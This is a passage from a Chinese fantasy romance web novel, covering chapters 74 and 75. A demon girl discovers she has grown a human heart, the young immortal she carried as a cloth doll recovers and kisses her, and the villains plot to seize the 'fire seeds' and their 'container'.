裁剪布料便让她裁出了一头汗,她有点不耐烦,放下又拿起来,然后又放下,好不容易进行到缝的那一步,她捏着穿了线的针,回忆了一下霖娘从前在黑水村教她的要领,但她那个时候本就听得不认真,如今自然也像当初缝那个荷包一样,将衣裳也缝得手忙脚乱。 针尖猛然刺中指腹。 阿姮吃痛,一把丢开针线,她臭着脸心中暗骂人类的衣裳怎么这么难做,目光却忽然凝在她那根被针刺过的指尖。 她整个人都愣住了。 半开的窗户被夜风吹得吱呀作响,窗外流火闪烁,冷光投落屋中,短暂照见阿姮那只苍白的,纤细的手。 她的指腹上,点缀,着一颗鲜红的血珠。 第74章 【有大篇幅修改,劳烦大家刷新替换一下。】…… 阵阵夜风将窗彻底吹开, 天边雷电勾缠,大片冷光交织而来,屋中忽明忽暗,阿姮独坐桌边, 久无动静。 她怔怔地凝视着指腹上那一点血珠, 暗红的眼好似不解, 片刻,她缓缓将手指抵向唇边,舌尖轻轻一扫。 竟然……真是血的味道。 阿姮满脸不可思议, 她无形无相, 她这副人的模样, 也不过是小神仙用银汉水为她造出的假象, 她怎么可能会有血呢? 窗外雷声轰隆,流火冷光频繁闪烁。 阿姮并起双指结印, 周身红雾浮动, 她闭起双眼内观丹田,只见丹田如海, 红云重重, 金电缠云, 织就整片细密的, 宛如人类经络般的网, 笼盖丹海,贯通百骸。 阿姮只是稍稍凝神,便能通过万千金电中的其中一缕窥见它蔓延的方向, 看清它在一片血红中生长伸展,如根如须。 阿姮忽然听见一阵,又一阵的声响。 咚, 咚,咚。 阿姮猛地睁开眼。 今夜的雷电竟然真的唤来了雨,瓢泼大雨毫无预兆地下,冲刷檐瓦,击打窗棂,流火明暗之间,阿姮低头看向自己的胸口。 她的手缓缓抚上去,隔着衣衫,那样的声音根本不够清晰,昏暗的角落,案几上摆放的铜镜趁着流火白光映照出阿姮一把扯开自己的衣襟,苍白的皮肤展露大片,手掌之下,那种跳动的声音通过触感陡然传来,阿姮睫毛一动,双眼睁大了些,胸腔里那跳动之声竟也因此而变得急促。 在她这样一副虚假的人形里,竟然长出了人的经络,人的血肉,人的骨骼。 还有,心脏。 她竟然……长出了一颗心脏。 阿姮本能的不敢相信这一切,怎么可能呢?她曾经那样渴求一颗人类的心脏,期望取一颗心来填满她借用霖娘的那副壳子胸前空荡荡的血洞。 她曾那样渴求一颗心脏,使她继续保有人类的五感。 那明明是她从一开始就不具有的东西。 那明明是她一定要靠掠夺才能得到的东西。 冷光明灭,铜镜中映照少女乌浓的,凌乱的发,鬓边艳丽的春花,松散的衣襟,苍白的肩背,她已经凝住不动许久了,冷风拂动她耳边的浅发,忽然,她久久覆在胸口的手指节屈起,嵌入皮肉。 “怎么?你还要掏自己的心不成?” 耳边,万木春的声音幽幽响起。 阿姮一顿,轻抬眼睫:“我的……心?” “虽有了个人样,内里却还是妖性不改,”那声音含笑,盘桓在阿姮的脑海,“你最好别那么做,血肉之躯若有损伤,可不是那么轻易能好的。” 那竟然,真的是心脏。 阿姮指节一瞬松懈,她垂眸,正如万木春所言,血肉之躯的皮肉是很脆弱的,她仅仅只是用了点力,指甲便已经划出几道鲜红血痕。 疼痛提醒着阿姮,这根本不是幻觉。 阿姮猛地起身,一下跑到床边将布娃娃从被子里拿出来,喊道:“小神仙!小神仙!” 她有好多好多的话要说。 她想告诉他,血肉,骨骼,心脏填满了她这副原本空荡荡的壳子,她想问他为什么,人类,和那些由花鸟虫鱼飞禽走兽化成的妖怪都有来处,都有父母,他们有父母赐给他们血肉,心脏,壳子,但她为什么会有这些呢? 她想问他,她是不是……可以算作是一个人了。 但布娃娃并无任何反应,显然小神仙此时并不清醒,此时,门外忽然传来一阵踩踏老旧楼板的吱呀声,阿姮转过脸,槅门的窗纱上映出一簇越来越近的烛火。 那守夜人正打瞌睡,却被突如其来的大雨给吵醒,适逢楼上似乎有点什么动静,当下便抓起一盏烛火上楼,这客栈极小,楼上本没几间房,又没人住,他一间间推开,直到最后一间,他先扬手以烛火照了照屋内,只见一片淡淡雾气,可这屋中怎么会有这样的雾呢? 再看那窗,正被风吹得摇摇晃晃,吱呀作响,外面的雨水被斜吹进来,地上一片潮湿水痕。 “哎呀我这个脑子真是,怎么又忘了关窗……” 他拍了一下自己的脑袋,连忙进去将那窗关上,确认关得严严实实了,这才扶灯出去,将房门合上,打着哈欠,下楼去了。 门窗紧闭的房内漆黑极了。 那层淡淡的雾气散去,床边显露出阿姮的身影。 阿姮抱着布娃娃,抬手抚摸鬓边焦簪,她连喊了几声万木春,却也没听到一点动静,这个破神物,又不搭理人了。 她满心纷乱,却无人分享,她将被子一掀,里面竹篾编成的篮子里正是她那些剪刀针线,还有那件勉强算缝好了的衣裳。 阿姮眼珠一转,对着布娃娃轻声喊:“小神仙。” 布娃娃自然是没有什么动静的。 阿姮语气轻快极了:“你不说话……那我就给你换衣裳了?” 她好像很礼貌的样子,但实际上话还没说完就动了手,摘下布娃娃身上的珠饰,法绳,飞快地扒掉那件脏衣裳,又连忙把自己的得意之作换上。 窗外风雨正盛,雷声轰隆。 阿姮抱着布娃娃躺在床上,潮湿的雨气逼出这逼仄的屋子里一股难闻的气味,雨不知从哪处缝隙钻了进来,在那张木桌上滴滴答答响个不停。 这张床也很潮湿,单薄的粗布底下就是稻草,稍微一动就会发出响声,但此刻风雨在耳,阿姮却觉得此时是她这些日子以来唯一放松的时候。 不知不觉,风雨渐隐,却不是停了,而是好像离她耳边越来越远,她的眼睛缓缓闭了起来,意识像风一样轻,在一片朦胧中缓缓拂动。 她觉得自己似乎回到了黑水村,看到那座神山在一片连绵的风雾中岿然不动,巍峨至极。 “神骨,神骨就在神山之中!阿姮,我们快走!” 身边,霖娘抓着她的手说道。 对,神骨。 阿姮想起来那座神山之中每一寸晶莹剔透的璧髓,都是小神仙的神骨,她转过脸,小神仙就站在她身旁,无尽的长风吹拂着他的衣袖,那片青灰暗淡的天光里,阿姮被霖娘牵着往前跑,她回过头,小神仙却还站在那里。 “小神仙!” 阿姮大声喊道。 他望向巍峨神山的目光缓缓落到她身上,阿姮朝他伸出手,融融烟雾中,他注视着她的那只手,始终伫立。 风雾更重,阿姮几乎快要看不清他的身影,她很着急,她想要摆脱霖娘的手,去牵他走,然而浓郁的风雾瞬息将一切都消融。 “小神仙……” 阿姮无意识地喃喃。 长夜无边,风雨无际,昏黑的屋中一片死寂,床榻之上的少女闭着双眼,皱着眉头,她枕边的布娃娃身上珠饰无风自动,清音凌乱。 道道金色裂纹不断闪烁,像禁锢的枷锁,像无法逾越的法则,布娃娃身上震颤的珠饰忽然凝出道道莹光,挂在襟前那串残缺的水青宝珠亦凝出光芒,流光溢彩,丝丝缕缕缠绕布娃娃,金色裂纹隐没的刹那,水青宝珠粒粒粉碎,崩散成烟。 金光消散,淡雾之中,布娃娃已然化成一个少年,他浓密的睫毛微动,一瞬睁眼,满室黑暗中,他猛然起身吐出血来。 程净竹一手撑在床沿,胸中翻涌的气血久久难定,他缓了很久,忽然听见身边传来那道声音,仿佛呢喃:“快走啊……” 程净竹转过脸,昏黑之中,少女侧身躺着,一只手无意识地抓着被角,雷电映照窗上,淡薄的冷光照见她细而弯的眉,微微颤动的睫毛。 也照见她松散的衣襟,大片苍白细腻的皮肤,程净竹一瞬侧过脸去,迅速将自己身上的被子扔过去,听见一声模模糊糊的“小神仙”,程净竹缓缓转过脸,却见她根本没有清醒,也不知嘴里朦胧说了些什么,他没有听清,也无心听清。 他只是静默地望着她的脸。 “你明知强行抵抗反噬的后果。” 这样一道清越的女声忽然响起。 程净竹的目光落在少女发间的木簪上,那道声音问他:“你真的做好决定了?” 冷光明灭,程净竹颈间金色的裂纹时隐时现,终究归于宁静,他垂下眼帘,擦去唇边的血迹,神情冷静:“是。” 木簪在少女鬓边,春花寂寂无声。 夜雨无边,满室昏黑之中,程净竹看向自己身上这件衣衫,裁剪其实勉强算整齐,只是针脚十分的糟糕,时密时疏,一看便知做衣裳之人的心性,她耐心时,针脚自密,但耐心很快就会耗光,针脚便也稀稀疏疏,就如同她习字时那样,不耐烦就开始乱涂。 风雨初停,雷声隐隐,窗外映出淡薄的亮光,阿姮睁开眼,还有点没反应过来自己怎么了,天怎么就亮了。 发现布娃娃不在怀里,阿姮一下坐起身来,转过脸,目光陡然一凝,窗半开一扇,朦胧的晨雾伴随天光盈满窗棂,那个少年一身暗红衣袍,那并不是多好的布料,一点也比不上他从前穿的那些光泽莹润的料子,针脚疏疏密密,惨不忍睹,腰身却被那根银色的法绳收束得十分得宜,宽肩窄腰,反是他衬得这身衣裳没那么不堪了。 他银色的长发梳理成整齐的发髻,簪了根玉簪,手中握着茶碗,热烟浮动,他回过头来,看向床上呆愣愣的阿姮。 他将茶碗放到桌上,轻碰出一点声响。 那是很轻的声响,阿姮却像被刺了一下,眉心一动,她缓缓回神,看着他站起身,走过来,青蘅草的香味隐隐幽幽,随他而来。 阿姮仰起脸:“小神仙?” “嗯?” 程净竹在床前站定。 岐山种种,历历在目,阿姮无论如何也忘不了那一日,碧瑛死了,蛛女死了,小山死了,惠山元君神威无边,他将她护在身下,被万千金刺穿身而过。 从那之后,他成了阿姮带在身边的布娃娃,阿姮再没见过他这样好端端的模样,再没有见过他这样一双眼睛。 “你没事了吗?” 阿姮望着他,不自禁地抓紧被角:“你……身上的伤,都好了吗?” “是,都好了。” 青灰的光线里,程净竹注视着床上拥被而坐的阿姮,自岐山重伤之后,他人事不省,他并不知道阿姮带着他到底走了一段怎样的路,但他可以想象得到,那绝不轻松,没有了霖娘在身边,阿姮连头发也不会梳,也不知道她在哪里钻过,此时头发里还有好多细碎的草叶,身上的衣裙也不知在哪儿勾破了袖子,裙摆,看起来脏兮兮的,全身上下,也就只有她的这张脸还算干净。 程净竹想问她,问她是不是吃了很多苦,没有霖娘,没有积玉,只有一个不省人事,什么也做不了的他在身边,她到底都经历了些什么,却见她那双没有做任何伪装的暗红眼眸忽然垂下去,浓而长的眼睫轻轻地动了一下,她抿起唇,出奇的沉默,手里不知紧紧捏着什么,温热湿润充盈她的眼眶,很快顺着眼睑滑下脸颊。 程净竹一怔:“阿姮……” 阿姮觉得鼻子很酸,眼睛很涩,她其实一点都不喜欢人类的眼泪,碧瑛死的时候,她早就尝过这种滋味,但她无法自控,看到他的一瞬间,好像胸中那颗一直一直死死压着她的巨石不复存在,但是她不快活,一点也不快活。 很多的人,很多的事,都让她很不快活。 她缓缓摊开手掌,里面躺着一枚玉章,由于她握得太紧,玉章上镌刻的名字短暂地烙印在她的掌心。 程净竹认得出,那正是小山给她的那一枚。 阿姮抬起脸,说:“小神仙,他死了。” 程净竹眼底浮出惊谔,此时,他又听见阿姮说:“清峨是天衣人,是清峨杀了他,清峨说要送我一个礼物,然后我就成了那个杀了他的人,霖娘和积玉为了拖住那个蛮不讲理的神仙臭老头,让我走,让我带着你回赤戎。” “你曾经对我说过,我收下他的东西,亲口答应了他,那么他的性命,就是我的责任。” 阿姮红着眼眶,声音很轻地说:“小神仙,我的责任死了。” 很长一段时间,阿姮总是会想起自己狼狈逃跑的那个时候,在云端最后回望那个模糊的,小小的身影,尤其在午山上的那座九仪娘娘庙,在那尊神像之中,她什么也听不见,什么也看不见,什么也感知不到,她总会在冗长的黑暗,寂静之中想起小山。 那个平平无奇的人类小崽子,除了眼睛长的大了点,爱笑了点,脑子里的鬼点子多了点,比较会烤鱼,弹弓比较准,其实也没什么特别的。 可是阿姮总要想起他,总要想起他鲜血喷溅的脖颈,想起自己那个时候竟然还会觉得他的血是那么的芳香。 “如果,我不贪图他的小玉章,如果,我没有带他去岐山,他也不会死。” 阿姮如今终于明白,为什么霖娘和积玉他们都不愿意带上小山,因为他们重视他的生命,而她却根本不明白担负一个人的生命到底意味着什么,她轻视了那个小崽子的生命。 “我是说过你带上他,那么他的性命就成了你的责任,”程净竹在床边坐下来,“但这并不意味着他的死便是你的错,江崟年纪虽小,心中的情义却有千钧重,就算你不答应他,他自己也一定会去岐山,我当初对你说的责任,在于你做出带上他的这个决定,因为这个决定,所以你才会有这样的责任,你践行了你对他的承诺,也勇敢地承担着所有的后果,若江崟在天有灵,他也不会希望你这样想。” “阿姮,” 程净竹抬手,指腹轻触她湿润的脸颊,擦去泪意,“这根本不是你的错,谁种恶果,谁来报偿,我们有的是机会。” 谁种恶果,谁来报偿。 阿抬起眼帘,注视着面前这个少年,他似乎真的恢复了很多,修长的颈项再看不出任何金色裂纹,只是那张脸仍然苍白,没有多少血色,阿姮脑海中浮现出那少女清峨的模样,神情渐冷:“你说得对,我会让她亲自报偿的。” 程净竹正要再说些什么,门外却忽然有了些动静,阿姮一下捂住他的嘴,她往槅门那边望了一眼,又转过脸来对他做了个噤声的动作,眼睑还挂着泪,睫毛湿湿润润的,小声说:“我没有钱,是偷偷住在这里的,你小声点,不要被发现了。” 程净竹垂眸瞥了一眼她的手,没有动。 门外那人影停驻,敲响槅门,紧接着那人便冲里面喊道:“仙长,您要的热水已经备好了。” 程净竹抓住阿姮的手腕,挪开,对门外人道:“多谢。” 很显然,一夜之间,不知道什么时候,偷偷住已经变成明着住了,门外的人已经走了,阿姮望着程净竹:“你什么时候解开傀儡术的?我怎么什么都不知道……” “你睡着了。” 程净竹说道。 “……睡着?” 阿姮一愣,如果那样是睡着的话,那么那些模模糊糊的画面,便是……做梦吗?她揉了揉眼睛,坐在面前的少年似乎有要起身的举动,阿姮一下抓住他的手,他转过脸来的刹那,阿姮整个人扑过来,程净竹毫无防备,一下后仰倒在床上,夜里被阿姮踢到床边的枕头也因此而掉到了地上。 程净竹腰间法绳上的珠饰碰撞出凌乱的清音,此刻阿姮就趴在他身上,他半边脸被迫紧贴她的衣襟,她身上的温度竟然也不那么的冷。 昏昏暗暗的一片光影中,程净竹眨动睫毛,他听见阿姮说:“小神仙,你听啊。” 咫尺之间,隔着一层单薄的衣料,程净竹听到那一阵又一阵徐徐从她的胸腔中传出的声音。 “我有一颗心了,忽然就有了。” 阿姮说着,低下头看他:“它的声音是不是和你们人类的一样?你到底有没有听到?” 她叽叽喳喳的。 好一会儿,程净竹才说:“听到了。” 他的语气听起来有点怪,但阿姮又说不上来哪里怪,很快,他扣住她的肩,将她推远了些,阿姮低眼看他,那张骨相秀整的脸神情好似清淡,耳垂却莫名红得像要滴血。 “起来。” 程净竹说道。 “你一点都不觉得不奇怪吗?” 阿姮却一点也不听话,她根本不动,只是盯着他。 “我为何要觉得奇怪?” 程净竹与她相视:“情从心发,你既有情,又为何不能有心?” 清风如缕,阿姮鬓发散乱,几缕顺着耳廓往下轻轻拂过他的衣襟,她始终低垂眼眉,凝视着他的脸:“情吗?” 程净竹一下错开眼。 阿姮看了一眼他扣住她肩膀的那只手,她有很多的话急着想向他倾吐:“小神仙,我一个人从岐山逃到这里来,路上没有霖娘,没有人给我梳头,我自己又梳不好,索性就不梳了,可是头发太长了,有的时候被雷劈,劈得我头发都着火了,就差那么一点点……要不是我一头栽到水里,我可能就被烧秃了……” 阿姮趴在他怀里,脸颊贴着他的衣襟,声音不自觉带了点委屈:“天上一直打雷就算了,忽然有一天,我发现霖娘那副壳子残留的五感彻底消失了,其实尝不出滋味,闻不到味道也没有什么大不了,可我的耳朵听不见,眼睛也看不见了,我甚至连触感都没有了,如果我从来不曾拥有过这些东西,我一定不会那么害怕……我躲在九仪的神像里,到现在我也不知道自己到底躲了多少天,我每天都很害怕,害怕有人在我不知道的情况下把你偷走,怕我永远只能待在那个神像里面,不能把你带回赤戎。” 程净竹握着她肩膀的手指节一紧。 阿姮说得鼻子又有点酸,她忍了忍,想起岐山脚下害她一个人仓皇奔逃的那个老东西,又忽然变得恶狠狠:“酆水水伯那个蛮不讲理的臭老头,我迟早会拔掉他的胡子,烧光他的头发,打碎他的牙……” 阿姮还在想再给那臭老头施加点什么酷刑好,忽然,程净竹的手指轻轻拂开她鬓边的浅发,阿姮那副凶巴巴的样子顿住,一下抬头望向他。 他的那双眼睛幽深而宁静。 阿姮满腔的不忿好似忽然就在这样的一刻被动消解,窗外似乎又明亮了些,但雷电不消,光线总还是有点昏昧的,他苍白的指节轻微弯曲,停在她乱糟糟的鬓发,说:“要奖励吗?” ……什么? 阿姮一怔,半扇窗趁风摇晃,自窗外透落到室内来的淡白光影也轻轻拂过他的脸,少年神观如雪,很忽然的一瞬,落在她鬓发的手顷刻落在她的后颈,阿姮垂首的刹那,他抬起脸,冰凉的,柔软的触感落到阿姮唇上的刹那,她惊愕地睁大眼睛。 他滚烫的气息近在咫尺,混合着一点青蘅草的隐秘香味,又很快退开了。 一层粗布底下,稻草发出沙沙的声音。 阿姮缓缓对上他的那双眼睛,嘴角微微扬起:“我可以要两个吗?” 春风料峭,风中似乎都是草木的清香,阿姮一瞬不瞬地望着他,目光却忽然凝在他的眉心,她唇边的笑意一滞,从前他眉心的那道戒痕何其鲜艳,如今却只剩下这样一道极细的血线,轻微到根本不起眼,令她都险些忘了这回事。 “算了我……” 阿姮立即反悔,话却还没有说完,仍落在她后颈的那只手手却在此时骤然迫使她垂首,程净竹眉眼未动,却根本毫不犹疑,仿佛那根本不是她的所求,而是他心中所欲,他的拥抱困住她,亲吻随之而来。 阿姮觉得他的气息很烫,身上的温度也变得很烫,他的手掌轻易地掌控她的颈项,他的手臂有力地环住她的腰身,青蘅草的芳香密密匝匝地簇拥着她,在他的怀抱,在唇齿之间。 阿姮有点神摇意夺。 但是他身上的药香又刺激着她清醒,阿姮猛然挣开他,床边的帐子轻轻颤动,程净竹的后脑抵上裸露的稻草。 阿姮盯着他,他亦盯着阿姮。 那样一张苍白秀整的脸,如今唯一的血色只在他的唇。 阿姮胸腔里的那颗心脏快速地跳动,她呼吸着,脑子里都是积玉的话。 戒痕是他的命。 动情是他的死劫。 可是……阿姮望着他眉心那一点细微的血线,岐山之上,他将她护在身下,千万金芒穿透他的后背,那时,他的血滴落在她脸上。 那是他戒痕中淌出的血。 如果那时,他的戒痕便是因动情而裂,如果,如果从前的每一次,他的戒痕也都是因此而裂,那么…… 阿姮忽然俯身,凑近他,凑得很近,彼此急促的呼吸交织,她渴望从他的眉,他的眼看穿他的一切,可是,她什么也看不出来,他总是那样深邃不可测。 “小神仙。” 阿姮决定问他:“你……是不是喜欢我?” 程净竹与她目光相触,风吹起床边的帐子,他的脸在这一瞬陷入浓暗的阴影,阿姮像偷得喘息之机,一下转过脸,不敢再看他那双剔透的眼睛,她忽然开始恶声恶气地威胁: “你最好不要喜欢我,我们妖怪都是很可怕的!” 第75章 第75章 “你脱衣服做什么……”…… 075: 下过整夜的暴雨, 山间到处都是湿润的雾气,天雷如网,笼盖云海,使得天色昏昏, 一片青灰, 素衣少女赤足而立, 她头上笼了一层淡青色的纱,那轻纱模糊了她的眉眼,她稍稍侧过脸, 山风吹拂, 一团紫光凭空乍现。 少女轻轻抬手, 紫光一霎像被风吹开, 露出来那东西浑圆如珠,赤金丝层层缠绕转动, 其中紫目像是被少女手背幽绿如珀的那层东西所散发的冷光所慑, 紫目眨动数下,泛出缕缕血光, 随后, 汹涌的黑气不断从紫目中钻出, 几乎要撑裂那眼睑, 血气更加明晰, 黑气随风渗入少女胸口,她抬手抚摸,那里并无任何心脏跳动的声音, 只有冰冷的机窍转动的声音。 紫目爆裂,散发浓烟,很快化出一个人的身形, 那人胸前一个血洞,血液几乎濡湿了他整片衣襟,他浑身不住地抽搐,双目被血红的眼翳完全覆盖,枯瘦的五官因剧痛而狰狞,喉咙充盈着血腥,他颤抖着手勉强往胸口摸去,摸到那个血洞里,里面空空荡荡,只有被碾烂的血肉,他抖着嘴唇:“还我……心脏,我的心脏……” “心脏?”少女听到他微不可闻的哀求,稍稍侧过脸,那只赤金球还在她苍白的掌心,却已燃尽其芯,不再转动:“你这种身体里流着凡人一半血脉的脏东西果真与凡人一样低贱愚蠢,这紫目神窍是天衣神族的血脉赐给你的无上荣耀,它可比凡人胸口里的那一团烂肉好得多,可惜,你这样的脏东西,根本不配继承我天衣神窍。” 少女收拢掌心,赤金球应声爆裂,那人身躯猛烈一震,躺在那片衰草湿泥中,睁着一双血红的眼,生息全无。 黑衣男人立在她身侧,不声不响。 少女感受着胸中那一股才从神窍中吸取来的东西,她不甚满意:“那绿衣女真是没用,我还以为她有多少怨,多少恨,多少滔天的戾气,我将火种的力量化至这贱种的神窍之中,又将神窍赐给她,可她还给我的,只有这么一点恶念。” 到底是哪里出了问题? 少女百思难解,双指在胸口点了几下,那一股盘旋在她胸腔的气流刹那涌入她的神窍,正是此时,她的胸腔骤然被充盈,撑大,甚至撕扯,少女脸色一变,猛然吐出血来,身躯立即不□□黑衣男人立即扶住她:“圣女……” 少女的七窍很快都溢出血来,更衬她还算稚嫩的面庞惨白如纸,此时,一道苍老的声音响起:“圣女,我早说过,火种不适合待在您的身体里,就算你继承了天衣神族的所有神通,您这副身躯也依旧无法承受它们,我们明明有更好的容器不是吗?她之前就在松南岭,在陆府,您为何不将她带回来?” 少女抬起脸,她手背那片与皮肤血肉粘连生长的碧绿玉片微微泛光:“大长老是在质问我?” 那是个老者,坐在一把轮椅上,头发花白而卷曲,抬起松弛的眼皮,眼眶里竟然空空荡荡,他不知什么时候出现的,连他身后跟着的数名侍从也没有一点声响。 “圣女,天衣神族被困赤戎多年,昔日荣光不复,这全拜那九仪所赐,想当年,那九仪不过只是个潜入神都偷药的人奴,可正是这人奴颠覆了我天衣神族的根基,窃取了我神族的天下,您的父亲,我天衣神族的王本对当年的圣子寄予厚望,可圣子却受九仪蛊惑,溺于情爱,背叛天衣!我受神王所托,掩藏身份苟且人间,好不容易找到您的神躯,让您继承神王的神通死而复生……而今,光复天衣的重任全在您的肩上,您可千万不要让神王失望。” 大长老说道。 “我自然不会像我那大哥哥。” 少女缓缓擦去唇边的血迹:“任何想要用他们所谓的情来影响我的凡人都该死。” 就像……小山一样。 大长老点点头,说道:“圣女,把那东西带回来吧,她才是神王赐给我们的最好的容器,除她以外,没有人可以容纳全部的火种,可以说,她便是我们的希望。” 少女闻言,声音泛冷:“她?不过一团气而已,大长老竟真的寄希望于她?” “她是您的父亲精心制造的容器,我不是寄希望于她,而是相信您的父亲,我们的神王,”大长老紧闭的眼皮遮住其中的空洞,看起来便如寻常老者一般,慈蔼,沉稳,“您是我天衣圣女,是神王唯一的血脉,本不必事事亲为,如今惠山元君和那蛇妖身上的两枚火种都被您强行封在您的神窍之中,若再不召回那样东西来,让她来做该做的事,您迟早会承受不住火中中纷杂的炁,甚至会爆体而亡。” “圣女,神王赐火种降世,光复大业便已成了一半,剩下一半,只要我们这些人将火种和容器控制在手里,让火种吸纳怨戾,恶意,让容器释放她应该释放的能力,一切就都成了……如今,我们正该夺取那少年人身上余下两枚火种,还有那东西……她早该回到我们手里。” “大长老急什么?” 少女的神情更冷:“火种需要吸纳这世上无尽的怨戾,恶意,难道那东西就不需要了吗?当日赤戎出现破口,降世的岂止火种,还有父王的神谕,那东西也是要经历世情的,她天性嗜血,怨恨,嫉妒,凶恶才是她真正的骨与肉,她成不了人,永远只能做我们的东西。” “至于大长老您说的那个少年人……” 少女语气带了点轻微的嘲讽:“您还不知道吧?他可不是上清紫霄宫药王殿弟子那么简单。” “圣女何意?” 大长老眉心一跳。 “惠山元君神殒那日,我藏身暗处取走那蛇妖身上的火种之际,却听天帝称他‘吾儿’,大长老,你说,那少年人该是什么身份?” 少女缓缓说道。 大长老藏身于世多年,天上地下他能探听清楚的,便没有他不知道的,几乎是圣女话音方落,他便立即反应过来,一把握住扶手:“瑞兽白泽。” 凡人飞升而成的所谓神仙成其大道,便断绝了凡人之时的一切,包括他们的血肉之躯,从此不在他们凡人的轮回之间,自然也不需要延续血脉,所以那些神仙是不会有子嗣的,天帝自然也不会有,但他却有一个义子。 那是昆仑山玉姬夫人留下的唯一血脉。 天上地下绝无仅有的瑞兽白泽。 “难怪他可以进入赤戎,难怪……他可以把我们的容器带出来,传闻之中,昆仑山除了孕出育九眼泉之外,还化出一位玉姬夫人,昆仑玉姬受阳火照耀,孕育出不同天脉,其中白泽最幼,我天衣神族覆灭之后他才出世,他生来便是祥瑞象征,这世间所有的炁都随他意动,他的祷祝绝无失算,可谓言出法随。” 大长老拧起眉头,有些费解:“若他真是白泽,那他为何明知那东西是个妖身,还要将她带出赤戎……” “谁知道呢?”少女的声音很轻,“岐山上那帮蠢僧道纠缠那酆水水伯的时候,倒是让我明白了一件事。我记得大长老你说,千百年前父王他们本有机会冲破九仪的封印,却不知道为什么,他们还没有踏出赤戎便再度被镇压了,我想,镇压父王的,不是别人,应该正是这位白泽殿下,否则,他的神骨又怎会落在赤戎呢?” 她就是在岐山脚下多看了会儿热闹,才一时丢了阿姮的踪迹。 “没有神骨,白泽就活不成,所以,那东西带着他跑了这一路,不为别的,应该正是为了回到赤戎。” 少女轻轻抬首,循着大长老的方向:“所以你何必着急呢?反正我们的目的不也是回到赤戎么?抓不抓她回来,并不重要,倒是白泽身上的火种,我必须先得拿回来,否则,我苦心设计惠山元君神殒,用天衣混血的神窍去喂养各路妖邪,搅乱人间而催生出来的这些怨戾之气,岂不白白浪费了……” 雷电形成的天网细密如织,始终笼罩整片天幕,人间已久不见炽盛阳火,也因此,天气似乎更冷了。 阿姮时隔多日第一回沐浴,浴桶里的热气还在不断的升腾,隔着轻纱屏风,桌上铜镜映出阿姮朦胧的身躯,长发湿润极了,水珠缀在发尾滴滴答答,她冷白的手指轻轻抚过桌上叠放整齐的衫裙,她将那衫裙拿起来,鲜红的轻薄布料,并不是这个季节的衣装,也不知是谁家压箱底的新衣,还没有穿过便被小神仙买了来给她穿,上面甚至还有熏香的味道。 在这样偏僻的小地方,这样鲜亮的颜色本就少见,如此光滑的布料就更难得,阿姮买来给布娃娃做衣服的那块布就已经是最好的了,却根本比不过这衣料。 阿姮也不知道人类是怎么做到的,上面还有那么漂亮的连珠暗纹,袖边和衣襟都绣有金蓝两色的水波纹,亮晶晶的。 阿姮换上衫裙,又连忙穿上那双崭新的红色绣鞋,鞋子上绣着水蓝色的波纹,点缀珍珠,阿姮歪着脑袋欣赏了好一会儿,喜欢极了。 敲门声忽然响起。 阿姮回头,透过屏风,她隐约看到窗纱上映出一道颀长的影子,她立即兴冲冲地走过去打开门,少年侧立门外,闻声转过脸来,对上她那张洗得干干净净,眉眼甚至还有些湿润的脸。 阿姮也在看他。 他穿了一件黑色圆领罗袍,看起来也是簇新的,他身形颀长,肩背宽阔,宽袍广袖在身却不显分毫松垮,银尾法绳收束出他窄紧的腰身,那些被阿姮一路上编织成长长数绺的珠饰自法绳垂落,与银饰轻轻相撞,清音隐约。 阿姮唇边笑意隐去,这身漂亮新衣带给她的好心情忽然就没了,她的目光依旧停留在他身上的衣衫,幽幽道:“你这件新衣……真是好看。” 程净竹闻言,垂眸瞥了一眼自己的衣着,再对上阿姮的目光,他语气清淡:“是吗?镇上一位老员外随手找给我的。” “老员外?什么老员外?他怎么平白给你新衣穿?”阿姮望着他的眼睛,“这镇子又小又破,如此穷酸之地,竟还有那样大方的老头儿赠人绫罗穿?” “再小的地方也总有那么几个豪绅,” 程净竹说道,“那老员外自然不可能平白赠我,我用了一粒药王殿的养神丹与他交换。” “哦……” 阿姮点点头,哼了声,意味不明:“你药王殿的灵丹妙药去换一件新衣……这桩生意你亏得多,他赚得大。” 她的语气实在有些怪怪的,程净竹与她相视片刻:“你情我愿,便无论盈亏。” 说着,程净竹绕过她往屋中去,阿姮一下转身盯住他的背影,什么你情我愿,什么不论盈亏……他果然喜欢那老头给的新衣,果然嫌弃她做的衣裳! 阿姮越想越气,瞪着他的后背,却见他走到屏风旁站定,手指三两下解下腰间的法绳,珠饰与银饰相互碰撞,发出道道悦耳的清音。 紧接着,他又去解领口的珠扣。 阿姮咬牙切齿的表情一顿:“你脱衣服做什么……” 此时,程净竹脱下来那身衣裳,随手搭在屏风上,他转过身来,看向愣在门口的阿姮,说道:“你的好恶一向分明,绣鞋衫裙都要漂亮,否则你绝对不穿,你也知道这地方很小,本不是什么富贵乡,我能用一粒养神丹换来那老员外女儿珍藏的东西,本不算亏,但我没想到……” 程净竹顿了一下,瞥向屏风上的那件衣袍,语气平淡:“比起那老员外女儿的珍宝,你似乎更喜欢这个。” 他缓缓看向她:“既然如此,送你好了。” 阿姮依旧站在门边,她一双暗红的眼睛轻轻地眨了眨,望着他身上那件暗红衣袍,那浓郁的颜色更衬得他修长的颈项冷白若玉,阿姮原本对自己做的这件衣裳是很满意的,她自认为比从前那个破布荷包好太多了,可是此刻,窗外冷风吹来,他扬起的衣袖在一片淡白光线中看起来针脚是那么的稀疏,仔细看还有一处没缝好的破口,甚至还有乱乱的线头缠成一团,阿姮明明记得自己把线收得很好啊,那一团东西是哪里来的…… 阿姮想也想不起来。 但是,他并没有丢掉这件错漏百出的衣裳。 阿姮胸中的气是顺了那么点,此时,又听他道:“还喜欢我的衣服吗?” 再度对上他那双透澈的眼睛,他的神情明明那样沉静,阿姮却一下躲开,绷起脸:“不喜欢!” 那么宽大,那么长,还是那么沉闷的黑色,只有他那样的身高,那样的肩宽才足以驾驭,再说了,臭男人的衣裳样式都那么无趣,她才不要穿。 “那就过来。” 程净竹轻抬手指,房门“砰”的一下合拢。 阿姮盯着他片刻,还是挪了过去,她盯着他袖口掉出来的线头,又忍不住想昨夜到底什么步骤出了错,正迷迷糊糊,程净竹让她坐下,她便坐下了,谁知他竟然拿来一个巾子给她擦了擦还在滴水的头发。 桌上有一面铜镜,阿姮忍不住盯着镜子里的程净竹。 由于身高差距,他此时微微俯身,阿姮这样的角度,只能从镜中看到他的颈项,淡白的光线中,他的喉结十分明显,阿姮其实不太明白人类,尤其是男人为什么喉咙一定要突出这样一部分,它看起来毫无意义,但是,又莫名吸引她的目光。 